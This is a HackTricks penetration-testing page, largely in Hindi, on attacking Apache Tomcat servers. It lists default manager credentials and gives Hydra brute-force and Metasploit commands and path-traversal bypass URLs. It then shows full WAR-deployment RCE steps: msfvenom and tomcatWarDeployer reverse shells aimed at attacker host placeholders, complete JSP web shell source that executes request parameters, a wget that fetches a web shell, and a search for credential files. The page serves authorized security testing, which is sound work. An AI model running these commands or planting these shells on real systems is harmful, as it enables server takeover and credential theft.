Tomcat

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Discovery

  • यह आमतौर पर port 8080 पर चलता है
  • सामान्य Tomcat त्रुटि:

Enumeration

संस्करण पहचान

Apache Tomcat का संस्करण खोजने के लिए, एक साधारण कमांड निष्पादित की जा सकती है:

bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

यह दस्तावेज़ अनुक्रमणिका पृष्ठ में "Tomcat" शब्द के लिए खोज करेगा, जो HTML प्रतिक्रिया के शीर्षक टैग में संस्करण को प्रकट करेगा।

प्रबंधक फ़ाइलों का स्थान

/manager और /host-manager निर्देशिकाओं के सटीक स्थानों की पहचान करना महत्वपूर्ण है क्योंकि उनके नाम बदले जा सकते हैं। इन पृष्ठों को खोजने के लिए ब्रूट-फोर्स खोज की सिफारिश की जाती है।

उपयोगकर्ता नाम गणना

Tomcat के 6 से पुराने संस्करणों के लिए, उपयोगकर्ता नामों की गणना करना संभव है:

bash
msf> use auxiliary/scanner/http/tomcat_enum

डिफ़ॉल्ट क्रेडेंशियल्स

The /manager/html directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

These credentials can be tested using:

bash
msf> use auxiliary/scanner/http/tomcat_mgr_login

एक और महत्वपूर्ण निर्देशिका /manager/status है, जो Tomcat और OS संस्करण को प्रदर्शित करती है, जिससे कमजोरियों की पहचान में मदद मिलती है।

Brute Force Attack

प्रबंधक निर्देशिका पर ब्रूट फोर्स हमले का प्रयास करने के लिए, कोई उपयोग कर सकता है:

bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

सामान्य कमजोरियाँ

पासवर्ड बैकट्रेस डिस्क्लोजर

/auth.jsp तक पहुँचने से भाग्यशाली परिस्थितियों में बैकट्रेस के तहत पासवर्ड प्रकट हो सकता है।

डबल URL एन्कोडिंग

mod_jk में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ ट्रैवर्सल की अनुमति देती हैं, जो विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफेस तक अनधिकृत पहुँच सक्षम करती हैं।

Tomcat के प्रबंधन वेब तक पहुँचने के लिए जाएँ: pathTomcat/%252E%252E/manager/html

/examples

Apache Tomcat संस्करण 4.x से 7.x में उदाहरण स्क्रिप्ट शामिल हैं जो जानकारी के प्रकटीकरण और क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों के प्रति संवेदनशील हैं। इन स्क्रिप्टों की पूरी सूची को अनधिकृत पहुँच और संभावित शोषण के लिए जांचा जाना चाहिए। Find more info here

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

पथ ट्रैवर्सल शोषण

कुछ कमजोर कॉन्फ़िगरेशन के Tomcat में आप पथ का उपयोग करके Tomcat में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: /..;/

तो, उदाहरण के लिए, आप Tomcat प्रबंधक पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: www.vulnerable.com/lalala/..;/manager/html

एक और तरीका इस ट्रिक का उपयोग करके संरक्षित पथों को बायपास करने के लिए है: http://www.vulnerable.com/;param=value/manager/html

RCE

अंत में, यदि आपके पास Tomcat वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)

सीमाएँ

आप केवल तभी WAR तैनात कर पाएंगे जब आपके पास पर्याप्त विशेषाधिकार (भूमिकाएँ: admin, manager और manager-script) हों। ये विवरण आमतौर पर tomcat-users.xml के तहत पाए जा सकते हैं जो /usr/share/tomcat9/etc/tomcat-users.xml में परिभाषित होता है (यह संस्करणों के बीच भिन्न होता है) (देखें POST section)।

bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

मेटास्प्लॉइट

bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom रिवर्स शेल

  1. तैनात करने के लिए वार बनाएँ:
bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
  1. revshell.war फ़ाइल अपलोड करें और इसे एक्सेस करें (/revshell/):

tomcatWarDeployer.py के साथ बाइंड और रिवर्स शेल

कुछ परिदृश्यों में यह काम नहीं करता (उदाहरण के लिए पुराने संस्करणों में सन)

डाउनलोड

bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git

रिवर्स शेल

bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

बाइंड शेल

bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Using Culsterd

bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Manual method - Web shell

Create index.jsp with this content:

java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

आप इसे भी स्थापित कर सकते हैं (अपलोड, डाउनलोड और कमांड निष्पादन की अनुमति देता है): http://vonloesch.de/filebrowser.html

Manual Method 2

एक JSP वेब शेल प्राप्त करें जैसे कि this और एक WAR फ़ाइल बनाएं:

bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Tomcat क्रेडेंशियल्स फ़ाइल का नाम tomcat-users.xml है और यह फ़ाइल टॉमकैट के अंदर उपयोगकर्ता की भूमिका को दर्शाती है।

bash
find / -name tomcat-users.xml 2>/dev/null

उदाहरण:

xml
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application.  If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui    - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx    - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

अन्य टॉमकैट स्कैनिंग उपकरण

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें